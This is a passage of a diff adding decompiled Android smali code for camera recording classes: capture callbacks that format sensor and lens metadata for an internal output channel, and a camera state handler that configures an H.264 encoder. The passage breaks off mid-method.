|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession re"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,256 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$4;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
|
||||
.source "CameraHUAWEIn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field FrameNumber:J
|
||||
|
||||
.field lat:D
|
||||
|
||||
.field lon:D
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
.field time_out_param:J
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
|
||||
.locals 2
|
||||
|
||||
.line 328
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
|
||||
|
||||
.line 329
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 330
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lat:D
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lon:D
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 331
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
|
||||
.locals 7
|
||||
|
||||
.line 336
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
|
||||
|
||||
sub-long/2addr p1, v0
|
||||
|
||||
const-wide/16 v0, 0xc8
|
||||
|
||||
cmp-long p1, p1, v0
|
||||
|
||||
if-lez p1, :cond_0
|
||||
|
||||
.line 337
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lat:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lon:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 338
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
const-wide/32 v3, 0x3b9aca00
|
||||
|
||||
div-long/2addr v3, p1
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 339
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 340
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 341
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 337
|
||||
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 342
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result p3
|
||||
|
||||
add-int/lit8 p3, p3, 0x1
|
||||
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
const/16 v0, 0x4d
|
||||
|
||||
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 343
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
|
||||
.locals 0
|
||||
|
||||
.line 348
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture failed."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
|
||||
.locals 0
|
||||
|
||||
.line 357
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture aborted sequence."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
|
||||
.locals 0
|
||||
|
||||
.line 361
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=Capture completed sequence."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
|
||||
.locals 0
|
||||
|
||||
.line 366
|
||||
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,510 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraRecord$1;
|
||||
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
|
||||
.source "CameraRecord.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraRecord;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
|
||||
.locals 0
|
||||
|
||||
.line 54
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 2
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 89
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 90
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
|
||||
|
||||
.line 91
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
|
||||
|
||||
.line 92
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_0
|
||||
|
||||
.line 93
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Landroid/view/Surface;->release()V
|
||||
|
||||
.line 94
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$002(Lcom/nvav/srv/recorder/CameraRecord;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 98
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 101
|
||||
:cond_0
|
||||
:goto_0
|
||||
:try_start_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-interface {v0, v1}, Ljava/util/List;->remove(Ljava/lang/Object;)Z
|
||||
|
||||
.line 102
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
invoke-interface {v0}, Ljava/util/List;->clear()V
|
||||
|
||||
.line 103
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_1
|
||||
move-exception v0
|
||||
|
||||
.line 105
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 107
|
||||
:goto_1
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 108
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 0
|
||||
|
||||
.line 112
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
|
||||
.locals 7
|
||||
|
||||
.line 58
|
||||
const-string v0, "video/avc"
|
||||
|
||||
:try_start_0
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object p1, v1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 59
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCameraManager:Landroid/hardware/camera2/CameraManager;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v2}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
iput-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
.line 61
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CameraCharacteristics;->SENSOR_INFO_SENSITIVITY_RANGE:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Landroid/util/Range;
|
||||
|
||||
invoke-virtual {v1}, Landroid/util/Range;->getLower()Ljava/lang/Comparable;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MinISO:I
|
||||
|
||||
.line 62
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v2, Landroid/hardware/camera2/CameraCharacteristics;->SENSOR_INFO_SENSITIVITY_RANGE:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Landroid/util/Range;
|
||||
|
||||
invoke-virtual {v1}, Landroid/util/Range;->getUpper()Ljava/lang/Comparable;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
check-cast v1, Ljava/lang/Integer;
|
||||
|
||||
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
|
||||
|
||||
move-result v1
|
||||
|
||||
iput v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MaxISO:I
|
||||
|
||||
.line 63
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
|
||||
|
||||
sget-object v1, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
|
||||
|
||||
.line 64
|
||||
const-class v1, Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 65
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
const/4 v2, 0x0
|
||||
|
||||
iput-object v2, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 66
|
||||
array-length v1, p1
|
||||
|
||||
const/4 v3, 0x0
|
||||
|
||||
:goto_0
|
||||
if-ge v3, v1, :cond_1
|
||||
|
||||
aget-object v4, p1, v3
|
||||
|
||||
.line 67
|
||||
invoke-virtual {v4}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v5
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraRecord;->SizeImage:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result v6
|
||||
|
||||
if-ne v5, v6, :cond_0
|
||||
|
||||
invoke-virtual {v4}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v5
|
||||
|
||||
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraRecord;->SizeImage:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v6
|
||||
|
||||
if-ne v5, v6, :cond_0
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iput-object v4, v5, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v3, v3, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 69
|
||||
:cond_1
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
if-nez v1, :cond_2
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
const/16 v3, 0x8
|
||||
|
||||
aget-object p1, p1, v3
|
||||
|
||||
iput-object p1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
.line 70
|
||||
:cond_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {p1}, Landroid/util/Size;->getWidth()I
|
||||
|
||||
move-result p1
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
|
||||
|
||||
invoke-virtual {v1}, Landroid/util/Size;->getHeight()I
|
||||
|
||||
move-result v1
|
||||
|
||||
invoke-static {v0, p1, v1}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 71
|
||||
const-string v1, "color-format"
|
||||
|
||||
const v3, 0x7f000789
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 72
|
||||
const-string v1, "bitrate"
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraRecord;->BitRate:I
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 73
|
||||
const-string v1, "frame-rate"
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
iget v3, v3, Lcom/nvav/srv/recorder/CameraRecord;->FrameRate:I
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 74
|
||||
const-string v1, "i-frame-interval"
|
||||
|
||||
const/4 v3, 0x1
|
||||
|
||||
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
|
||||
|
||||
.line 75
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
invoke-static {v0}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 76
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
|
||||
|
||||
